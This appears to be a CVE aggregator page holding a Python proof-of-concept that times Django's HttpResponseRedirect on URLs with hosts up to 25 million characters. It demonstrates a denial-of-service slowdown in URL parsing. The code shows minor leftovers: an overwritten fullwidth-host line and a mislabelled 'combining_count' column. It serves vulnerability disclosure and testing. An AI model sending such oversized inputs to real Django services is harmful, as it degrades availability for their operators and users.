5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
import argparse
import sys
import time
import types


from django.conf import settings

if not settings.configured:
    settings.configure(SECRET_KEY="aaa")

from django.http import HttpResponseRedirect

def build_url(n: int) -> str:
    host = "\uff21" * n
    host = "A" * n
    url = "https://" + host + "/"
    return url


def measure_redirect(url: str, reps: int) -> float:
    start = time.perf_counter()
    for _ in range(reps):
        # Instantiates HttpResponseRedirect, which calls urlsplit() on url.
        HttpResponseRedirect(url)
    return (time.perf_counter() - start) / reps


def main() -> None:
    reps = 5
    sizes = [25_000, 250_000, 2_500_000, 25_000_000]

    print("combining_count\turl_length\tavg_seconds")
    measurements: list[tuple[int, int, float]] = []
    for n in sizes:
        url = build_url(n)
        avg = measure_redirect(url, reps)
        measurements.append((n, len(url), avg))
        print(f"{n:>14}\t{len(url):>10}\t{avg:.4f}")

    if len(measurements) >= 2:
        print("\nTime ratios (successive sizes):")
        for (n1, l1, t1), (n2, l2, t2) in zip(measurements, measurements[1:]):
            ratio = (t2 / t1) if t1 else float("inf")
            print(f"{n1:>14} -> {n2:>14} (len {l1} -> {l2}): {ratio:.2f}x")


if __name__ == "__main__":
    main()